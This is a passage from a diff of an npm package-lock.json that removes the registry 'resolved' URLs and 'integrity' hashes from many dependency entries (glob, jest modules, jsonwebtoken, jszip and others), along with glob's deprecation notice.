"sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", "funding": [ { "type": "github", @@ -5266,8 +4992,6 @@ }, "node_modules/fast-xml-builder": { "version": "1.2.0", - "resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.2.0.tgz", - "integrity": "sha512-00aAWieqff+ZJhsXA4g1g7M8k+7AYoMUUHF+/zFb5U6Uv/P0Vl4QZo84/IcufzYalLuEj9928bXN9PbbFzMF0Q==", "funding": [ { "type": "github", @@ -5282,8 +5006,6 @@ }, "node_modules/fast-xml-parser": { "version": "4.5.6", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.6.tgz", - "integrity": "sha512-Yd4vkROfJf8AuJrDIVMVmYfULKmIJszVsMv7Vo71aocsKgFxpdlpSHXSaInvyYfgw2PRuObQSW2GFpVMUjxu9A==", "funding": [ { "type": "github", @@ -5300,8 +5022,6 @@ }, "node_modules/fastest-levenshtein": { "version": "1.0.16", - "resolved": "https://registry.npmjs.org/fastest-levenshtein/-/fastest-levenshtein-1.0.16.tgz", - "integrity": "sha512-eRnCtTTtGZFpQCwhJiUOuxPQWRXVKYDn0b2PeHfXL6/Zi53SLAzAHfVhVWK2AryC/WH05kGfxhFIPvTF0SXQzg==", "license": "MIT", "engines": { "node": ">= 4.9.1" @@ -5316,8 +5036,6 @@ }, "node_modules/faye": { "version": "1.4.1", - "resolved": "https://registry.npmjs.org/faye/-/faye-1.4.1.tgz", - "integrity": "sha512-Cg/khikhqlvumHO3efwx2tps2ZgQRjUMrO24G0quz7MMzRYYaEjU224YFXOeuPIvanRegIchVxj6pmHK1W0ikA==", "license": "Apache-2.0", "dependencies": { "asap": "*", @@ -5333,8 +5051,6 @@ }, "node_modules/faye-websocket": { "version": "0.11.4", - "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", - "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", "license": "Apache-2.0", "dependencies": { "websocket-driver": ">=0.5.1" @@ -5363,8 +5079,6 @@ }, "node_modules/fill-range": { "version": "7.1.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", - "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", "license": "MIT", "dependencies": { "to-regex-range": "^5.0.1" @@ -5467,8 +5181,6 @@ }, "node_modules/foreground-child": { "version": "3.3.1", - "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", - "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", "license": "ISC", "dependencies": { "cross-spawn": "^7.0.6", @@ -5483,8 +5195,6 @@ }, "node_modules/form-data": { "version": "4.0.6", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", - "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", "license": "MIT", "dependencies": { "asynckit": "^0.4.0", @@ -5499,8 +5209,6 @@ }, "node_modules/fs-extra": { "version": "11.3.1", - "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.1.tgz", - "integrity": "sha512-eXvGGwZ5CL17ZSwHWd3bbgk7UUpF6IFHtP57NYYakPvHOs8GDgDe5KJI36jIJzDkJ6eJjuzRA8eBQb6SkKue0g==", "dev": true, "license": "MIT", "dependencies": { @@ -5575,8 +5283,6 @@ }, "node_modules/get-caller-file": { "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", "devOptional": true, "license": "ISC", "engines": { @@ -5626,8 +5332,6 @@ }, "node_modules/get-stream": { "version": "6.0.1", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", - "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", "devOptional": true, "license": "MIT", "engines": { @@ -5666,9 +5370,6 @@ }, "node_modules/glob": { "version": "10.5.0", - "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", - "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", - "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", "license": "ISC", "dependencies": { "foreground-child": "^3.1.0", @@ -5697,8 +5398,6 @@ }, "node_modules/glob-to-regex.js": { "version": "1.2.0", - "resolved": "https://registry.npmjs.org/glob-to-regex.js/-/glob-to-regex.js-1.2.0.tgz", - "integrity": "sha512-QMwlOQKU/IzqMUOAZWubUOT8Qft+Y0KQWnX9nK3ch0CJg0tTp4TvGZsTfudYKv2NzoQSyPcnA6TYeIQ3jGichQ==", "license": "Apache-2.0", "engines": { "node": ">=10.0" @@ -5713,8 +5412,6 @@ }, "node_modules/globals": { "version": "17.7.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-17.7.0.tgz", - "integrity": "sha512-Czmyns5dUsq4seFBR/Kdydhmo8y9kC79hiSkPn0YcGtNnYWnrgt0vjrSjx9tspoDGWm2CMarffRuLjM4xUz8xg==", "license": "MIT", "engines": { "node": ">=18" @@ -5757,8 +5454,6 @@ }, "node_modules/handlebars": { "version": "4.7.9", - "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.7.9.tgz", - "integrity": "sha512-4E71E0rpOaQuJR2A3xDZ+GM1HyWYv1clR58tC8emQNeQe3RH7MAzSbat+V0wG78LQBo6m6bzSG/L4pBuCsgnUQ==", "dev": true, "license": "MIT", "dependencies": { @@ -5842,8 +5537,6 @@ }, "node_modules/hasown": { "version": "2.0.4", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", - "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", "license": "MIT", "dependencies": { "function-bind": "^1.1.2" @@ -5854,8 +5547,6 @@ }, "node_modules/header-case": { "version": "2.0.4", - "resolved": "https://registry.npmjs.org/header-case/-/header-case-2.0.4.tgz", - "integrity": "sha512-H/vuk5TEEVZwrR0lp2zed9OCo1uAILMlx0JEMgC26rzyJJ3N1v6XkwHHXJQdR2doSjcGPM6OKPYoJgf0plJ11Q==", "license": "MIT", "dependencies": { "capital-case": "^1.0.4", @@ -5864,8 +5555,6 @@ }, "node_modules/help-me": { "version": "5.0.0", - "resolved": "https://registry.npmjs.org/help-me/-/help-me-5.0.0.tgz", - "integrity": "sha512-7xgomUX6ADmcYzFik0HzAxh/73YlKR9bmFzf51CZwR+b6YtzU2m0u49hQCqV6SvlqIqsaxovfwdvbnsw3b/zpg==", "license": "MIT" }, "node_modules/hermes-estree": { @@ -5881,15 +5570,11 @@ }, "node_modules/html-escaper": { "version": "2.0.2", - "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", - "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", "devOptional": true, "license": "MIT" }, "node_modules/http-parser-js": { "version": "0.5.10", - "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.10.tgz", - "integrity": "sha512-Pysuw9XpUq5dVc/2SMHpuTY01RFl8fttgcyunjL7eEMhGM3cI4eOmiCycJDVCo/7O7ClfQD3SaI6ftDzqOXYMA==", "license": "MIT" }, "node_modules/http-proxy-agent": { @@ -5916,8 +5601,6 @@ }, "node_modules/human-signals": { "version": "2.1.0", - "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-2.1.0.tgz", - "integrity": "sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==", "devOptional": true, "license": "Apache-2.0", "engines": { @@ -5940,8 +5623,6 @@ }, "node_modules/hyperdyperid": { "version": "1.2.0", - "resolved": "https://registry.npmjs.org/hyperdyperid/-/hyperdyperid-1.2.0.tgz", - "integrity": "sha512-Y93lCzHYgGWdrJ66yIktxiaGULYc6oGiABxhcO5AufBeOyoIdZF7bIfLaOrbM0iGIOXQQgxxRrFEnb+Y6w1n4A==", "license": "MIT", "engines": { "node": ">=10.18" @@ -5949,8 +5630,6 @@ }, "node_modules/ieee754": { "version": "1.2.1", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", "funding": [ { "type": "github", @@ -5976,8 +5655,6 @@ }, "node_modules/immediate": { "version": "3.0.6", - "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz", - "integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==", "license": "MIT" }, "node_modules/import-fresh": { @@ -5996,8 +5673,6 @@ }, "node_modules/import-local": { "version": "3.2.0", - "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.2.0.tgz", - "integrity": "sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6069,8 +5744,6 @@ }, "node_modules/is-arrayish": { "version": "0.2.1", - "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", "devOptional": true, "license": "MIT" }, @@ -6192,8 +5865,6 @@ }, "node_modules/is-fullwidth-code-point": { "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", "license": "MIT", "engines": { "node": ">=8" @@ -6201,8 +5872,6 @@ }, "node_modules/is-generator-fn": { "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz", - "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ==", "devOptional": true, "license": "MIT", "engines": { @@ -6258,8 +5927,6 @@ }, "node_modules/is-number": { "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", "license": "MIT", "engines": { "node": ">=0.12.0" @@ -6327,8 +5994,6 @@ }, "node_modules/is-stream": { "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", - "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", "license": "MIT", "engines": { "node": ">=8" @@ -6381,8 +6046,6 @@ }, "node_modules/is-unsafe": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-unsafe/-/is-unsafe-1.0.1.tgz", - "integrity": "sha512-CLK2+VdgERgD96EYm5lUQssZYlRg2tkZnbsxZoacmSiRxiFJ4Nk4SzjCl+Ur+v3kXIY9dTIdb3IH22y1mZ56LA==", "funding": [ { "type": "github", @@ -6471,8 +6134,6 @@ }, "node_modules/istanbul-lib-report": { "version": "3.0.1", - "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", - "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", "devOptional": true, "license": "BSD-3-Clause", "dependencies": { @@ -6486,8 +6147,6 @@ }, "node_modules/istanbul-lib-source-maps": { "version": "5.0.6", - "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-5.0.6.tgz", - "integrity": "sha512-yg2d+Em4KizZC5niWhQaIomgf5WlL4vOOjZ5xGCmF8SnPE/mDWWXgvRExdcpCgh9lLRRa1/fSYp2ymmbJ1pI+A==", "devOptional": true, "license": "BSD-3-Clause", "dependencies": { @@ -6501,8 +6160,6 @@ }, "node_modules/istanbul-reports": { "version": "3.2.0", - "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", - "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", "devOptional": true, "license": "BSD-3-Clause", "dependencies": { @@ -6530,8 +6187,6 @@ }, "node_modules/jackspeak": { "version": "3.4.3", - "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", - "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", "license": "BlueOak-1.0.0", "dependencies": { "@isaacs/cliui": "^8.0.2" @@ -6545,8 +6200,6 @@ }, "node_modules/jest": { "version": "30.4.2", - "resolved": "https://registry.npmjs.org/jest/-/jest-30.4.2.tgz", - "integrity": "sha512-Yi1jqNC/Oq0N4hBgNH/YvBpP1P57QqundgytzYqy3yqAa7NZPNjSoi4SGbRAXDMdBzNE6xBCi5U7RgfrvMEUVQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6572,8 +6225,6 @@ }, "node_modules/jest-changed-files": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-30.4.1.tgz", - "integrity": "sha512-IuctmYrxi21iOSOaIXpJWalHyPAsVv0GeBHKDn8C1CA4W5htHn7INL+wdnL4Bo0+olEndvAFkmb++tIQJG+vvg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6587,8 +6238,6 @@ }, "node_modules/jest-circus": { "version": "30.4.2", - "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-30.4.2.tgz", - "integrity": "sha512-rvHH7VlY6LgbJXJTQ87GW62g1FntOtbhh0zT+v04kC+pgL6aBKyYINXxWukCpj3dcIBMw5/XUbtDS9dU9JTXeQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6619,8 +6268,6 @@ }, "node_modules/jest-cli": { "version": "30.4.2", - "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-30.4.2.tgz", - "integrity": "sha512-jfA2ocvVHMXS2QijrJ0d31ektP+d/W0T5RpcTX2Pq+3sVqHlsXVCM2+FmwpL+bdY8OfHpIg9xMxLF17Zg0U49Q==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6652,8 +6299,6 @@ }, "node_modules/jest-config": { "version": "30.4.2", - "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-30.4.2.tgz", - "integrity": "sha512-rNHAShJQqQwFNoL0hbf3BphSBOWnpOUAKvidLS/AjNVLPfoj5mSf4jQMfW3cYOs6hXeZC7nF7mDHaBnbxELOzg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6703,8 +6348,6 @@ }, "node_modules/jest-diff": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-30.4.1.tgz", - "integrity": "sha512-CRpFK0RtLriVDGcPPAnR6HMVI8bSR2jnUIgralhauzYQZIb4RH9AtEInTuQr65LmmGggGcRT6HIASxwqsVsmlA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6719,8 +6362,6 @@ }, "node_modules/jest-docblock": { "version": "30.4.0", - "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-30.4.0.tgz", - "integrity": "sha512-ZPMabUZCx5MpbZ2eBYSvZ0J8fvo3dR9oM+eeUpb3aKNQFuS2tu3Duw1TNlMoP8k3WQgKGJuhcMFvwcVuq6T7oA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6732,8 +6373,6 @@ }, "node_modules/jest-each": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-30.4.1.tgz", - "integrity": "sha512-/8MJbH6fuj48TstjrMf+u/pd06Qezz5xOXvZA6442heNOWr8bdeoGZX2d9fCn028CoMgYmroH9//zky5GfyYmA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6749,8 +6388,6 @@ }, "node_modules/jest-environment-node": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-30.4.1.tgz", - "integrity": "sha512-4FZYVOk85hz2AyT6BbarKy9u37g6DbrDyCdFhsnDdXqyrueYQvB+0zO4f/kqLCRD0BsPRXPMNJeQwihKZV8naw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6768,8 +6405,6 @@ }, "node_modules/jest-haste-map": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-30.4.1.tgz", - "integrity": "sha512-rFrcONd8jeFsyw+Z9CrScJgglRf2+NFmNam8dKu7n+SoHqNYT47mn0DdEcVUZJpvh7Iz6/si7f7yUH7GJHVgnw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6793,8 +6428,6 @@ }, "node_modules/jest-haste-map/node_modules/picomatch": { "version": "4.0.4", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", - "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", "devOptional": true, "license": "MIT", "engines": { @@ -6806,8 +6439,6 @@ }, "node_modules/jest-leak-detector": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-30.4.1.tgz", - "integrity": "sha512-IpmyiioeHxiWDhesHnUFmOxcTzwCwKpgACgWajtAP+nYQXiY7DakTxB6Bx9JFiRMljr0AX1PvnQdaU1KFoz6NQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6820,8 +6451,6 @@ }, "node_modules/jest-matcher-utils": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.4.1.tgz", - "integrity": "sha512-zvYfX5CaeEkFrrLS9suWe9rvJrm9J1Iv3ua8kIBv9GEPzcnsfBf0bob37la7s67fs0nlBC3EuvkOLnXQKxtx4A==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6836,8 +6465,6 @@ }, "node_modules/jest-message-util": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.4.1.tgz", - "integrity": "sha512-kwCKIvq0MCW1HzLoGola9Te6JUdzgV0loyKJ3Qghrkz9i5/RRIHsL95BMQc2HBBhlBKC4j22K9p11TGHH8RBpQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6858,8 +6485,6 @@ }, "node_modules/jest-message-util/node_modules/picomatch": { "version": "4.0.4", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", - "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", "devOptional": true, "license": "MIT", "engines": { @@ -6871,8 +6496,6 @@ }, "node_modules/jest-mock": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.4.1.tgz", - "integrity": "sha512-/i8SVb8/NSB7RfNi8gfqu8gxLV23KaL5EpAttyb9iz8qWRIqXRLflycz/32wXsYkOnaUlx8NAKnJYtpsmXUmfw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6886,8 +6509,6 @@ }, "node_modules/jest-pnp-resolver": { "version": "1.2.3", - "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", - "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", "devOptional": true, "license": "MIT", "engines": { @@ -6904,8 +6525,6 @@ }, "node_modules/jest-regex-util": { "version": "30.4.0", - "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.4.0.tgz", - "integrity": "sha512-mWlvLviKIgIQ8VCuM1xRdD0TWp3zlzionlmDBjuXVBs+VkmXq6FgW9T4Emr7oGz/Rk6feDCGyiugolcQEyp3mg==", "devOptional": true, "license": "MIT", "engines": { @@ -6914,8 +6533,6 @@ }, "node_modules/jest-resolve": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-30.4.1.tgz", - "integrity": "sha512-Zry8Yq/yJcNAZ7dJ5F2heic8AheXvbFZ7XI5V+h28nrYZ7Qoyy4dItq8OodjnYD270mvX+ZudmrNV9cysqhW5Q==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6934,8 +6551,6 @@ }, "node_modules/jest-resolve-dependencies": { "version": "30.4.2", - "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-30.4.2.tgz", - "integrity": "sha512-gDiVh1I+GxYzz9oXlyw+1wv6VOYX1WYxMOfjsA3iGKePV2oxmbHhwxfkALxNxYy1ciw6APWwkW2zZONwP97aEQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6948,8 +6563,6 @@ }, "node_modules/jest-runner": { "version": "30.4.2", - "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-30.4.2.tgz", - "integrity": "sha512-2dw0PslVYXxffXGpLo+Ejad+KcI1Qkjn7f4X4619gf21oCUmL+SPfjqIa/losUem3yEOvfNZe/F1HWUcNpODcg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -6982,8 +6595,6 @@ }, "node_modules/jest-runtime": { "version": "30.4.2", - "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-30.4.2.tgz", - "integrity": "sha512-3/5e8iPz2k/VLqlr8DgTftYyLUv8Su3FkCAO2/Od81UsUTpSxOrS6O5x5KkoQwyUjmpYyDJKeyAvg2T2nvpNkQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -7016,8 +6627,6 @@ }, "node_modules/jest-snapshot": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-30.4.1.tgz", - "integrity": "sha512-tEOkkfOMppUyeiHwjZswOQ3lcnoTnws/q5FnGIaeIh/jmoU0ZlgMYRR8sTlTj+nNGCoJ0RDq6SfxGxCsyMTPmw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -7049,8 +6658,6 @@ }, "node_modules/jest-util": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.4.1.tgz", - "integrity": "sha512-vjQb1sACEiv13DKJMDToJpzVW0joCsIQrmbg0fi7CyOOt+g9jTuQl2A216pWRBYhOVt53XbL/2LbMKg1BECWOw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -7078,8 +6685,6 @@ }, "node_modules/jest-validate": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-30.4.1.tgz", - "integrity": "sha512-PDWi4SOwLnwqNDfHZjOcsEFyZ4fc/2W2gVL3DEoyqnB6jCQMLRtfBong8s6omIw3lI0HWOus12xfnFmQtjW3fw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -7096,8 +6701,6 @@ }, "node_modules/jest-validate/node_modules/camelcase": { "version": "6.3.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", - "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", "devOptional": true, "license": "MIT", "engines": { @@ -7109,8 +6712,6 @@ }, "node_modules/jest-watcher": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-30.4.1.tgz", - "integrity": "sha512-/l9UonmvCwjHH7d2h3iAwIloLc1H0S8mJZ/LNK3i86hqwPAz8otUJjP9MfYtz9Tt77Su5FD2xGjZn8d31IZHlw==", "devOptional": true, "license": "MIT", "dependencies": { @@ -7129,8 +6730,6 @@ }, "node_modules/jest-worker": { "version": "30.4.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-30.4.1.tgz", - "integrity": "sha512-SHynN/q/QD++iNyvMdy+WMmbCGk8jIsNcRxycXbWubSOhvo6T+j2afcfUSl+3hYsiBebOTo0cT7c2H7CXugu1g==", "devOptional": true, "license": "MIT", "dependencies": { @@ -7146,8 +6745,6 @@ }, "node_modules/jest-worker/node_modules/supports-color": { "version": "8.1.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", - "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", "devOptional": true, "license": "MIT", "dependencies": { @@ -7162,8 +6759,6 @@ }, "node_modules/joycon": { "version": "3.1.1", - "resolved": "https://registry.npmjs.org/joycon/-/joycon-3.1.1.tgz", - "integrity": "sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==", "license": "MIT", "engines": { "node": ">=10" @@ -7175,8 +6770,6 @@ }, "node_modules/js-yaml": { "version": "4.3.0", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.0.tgz", - "integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==", "funding": [ { "type": "github", @@ -7197,8 +6790,6 @@ }, "node_modules/js2xmlparser": { "version": "4.0.2", - "resolved": "https://registry.npmjs.org/js2xmlparser/-/js2xmlparser-4.0.2.tgz", - "integrity": "sha512-6n4D8gLlLf1n5mNLQPRfViYzu9RATblzPEtm1SthMX1Pjao0r9YI9nw7ZIfRxQMERS87mcswrg+r/OYrPRX6jA==", "license": "Apache-2.0", "dependencies": { "xmlcreate": "^2.0.4" @@ -7220,8 +6811,6 @@ }, "node_modules/json-parse-even-better-errors": { "version": "2.3.1", - "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", - "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", "devOptional": true, "license": "MIT" }, @@ -7245,8 +6834,6 @@ }, "node_modules/jsonfile": { "version": "6.2.1", - "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.1.tgz", - "integrity": "sha512-zwOTdL3rFQ/lRdBnntKVOX6k5cKJwEc1HdilT71BWEu7J41gXIB2MRp+vxduPSwZJPWBxEzv4yH1wYLJGUHX4Q==", "dev": true, "license": "MIT", "dependencies": { @@ -7258,8 +6845,6 @@ }, "node_modules/jsonwebtoken": { "version": "9.0.3", - "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.3.tgz", - "integrity": "sha512-MT/xP0CrubFRNLNKvxJ2BYfy53Zkm++5bX9dtuPbqAeQpTVe0MQTFhao8+Cp//EmJp244xt6Drw/GVEGCUj40g==", "license": "MIT", "dependencies": { "jws": "^4.0.1", @@ -7293,8 +6878,6 @@ }, "node_modules/jszip": { "version": "3.10.1", - "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz", - "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==", "license": "(MIT OR GPL-3.0-or-later)", "dependencies": { "lie": "~3.3.0", @@ -7305,8 +6888,6 @@ }, "node_modules/jwa": { "version": "2.0.1", - "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.1.tgz", - "integrity": 